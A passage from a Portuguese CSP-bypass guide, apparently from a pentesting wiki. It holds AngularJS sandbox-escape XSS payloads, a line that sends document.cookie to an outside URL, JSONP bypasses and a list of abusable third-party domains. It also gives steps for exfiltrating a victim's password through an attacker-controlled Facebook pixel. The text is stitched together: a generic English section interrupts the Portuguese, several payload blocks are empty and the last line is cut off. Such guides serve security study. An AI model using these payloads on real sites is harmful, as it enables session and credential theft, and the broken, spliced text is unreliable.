{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
```
### Endpoints de Terceiros + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:
```markup
">
">
```
```html
https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para serem usados para burlar CSP de diferentes sites.**
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirecionamento Aberto** porque se o endpoint inicial for confiável, os redirecionamentos também são confiáveis.
### Abusos de Terceiros
Conforme descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
| Entidade | Domínio Permitido | Capacidades |
|--------|----------------|--------------|
| Facebook | www.facebook.com, *.facebook.com | Exfil |
| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
| Amazon AWS | *.amazonaws.com | Exfil, Exec |
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
| Google Firebase | *.firebaseapp.com | Exfil, Exec |
Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa burlar o CSP se registrando no serviço de terceiros e, assim, exfiltrar dados para esse serviço ou executar código.
Por exemplo, se você encontrar o seguinte CSP:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
# Bypassing Content Security Policy (CSP)
## Introduction
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, in some cases, CSP can be misconfigured or not implemented properly, leading to potential security vulnerabilities.
## Bypass Techniques
### 1. Inline Script Execution
If a CSP allows `'unsafe-inline'` for script-src, it permits the execution of inline JavaScript code. This can be exploited by an attacker to execute arbitrary code inline, bypassing the CSP restrictions.
### 2. Data: URI Scheme
Using the `data:` URI scheme, an attacker can embed the contents of a script directly into the HTML document. If the CSP policy allows `data:` as a valid source for scripts, this technique can be used to bypass CSP restrictions.
### 3. Script Gadgets
Script gadgets are small pieces of code that can be used to bypass CSP restrictions by manipulating the behavior of existing scripts on the page. By leveraging script gadgets, an attacker can execute malicious code without triggering CSP violations.
## Conclusion
Content Security Policy is a powerful security mechanism that can help protect web applications from various types of attacks. However, it is essential to configure CSP properly to ensure its effectiveness. By understanding common bypass techniques, developers and security professionals can better secure their web applications against potential CSP bypass vulnerabilities.
```
Content-Security-Policy: connect-src www.facebook.com;
```
Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estes passos gerais:
1. Crie uma conta de desenvolvedor no Facebook aqui.
1. Crie um novo aplicativo "Facebook Login" e selecione "Website".
1. Vá para "Configurações -> Básico" e obtenha seu "ID do Aplicativo".
1. No site alvo de onde deseja exfiltrar dados, você pode exfiltrar dados diretamente usando o gadget do Facebook SDK "fbq" por meio de um "customEvent" e a carga de dados.
1. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
1. Selecione a aba "Eventos de Teste" para ver os eventos sendo enviados pelo site "seu".
Em seguida, no lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
### Bypass através de RPO (Sobrescrita de Caminho Relativo)
Além da mencionada redireção para contornar restrições de caminho, existe outra técnica chamada Sobrescrita de Caminho Relativo (RPO) que pode ser usada em alguns servidores.
Por exemplo, se CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
```html
```
O navegador acabará por carregar `https://example.com/scripts/angular/angular.js`.
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, o que está em conformidade com CSP.
Assim, eles irão decodificá-lo, solicitando efetivamente `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.
Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
A solução é não tratar `%2f` como `/` no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.
Exemplo Online: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Execução de JS em Iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### **base-uri** ausente
Se a diretiva **base-uri** estiver ausente, você pode abusar dela para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/).
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `
ng-app"ng-csp ng-click=$event.view.alert(1337)>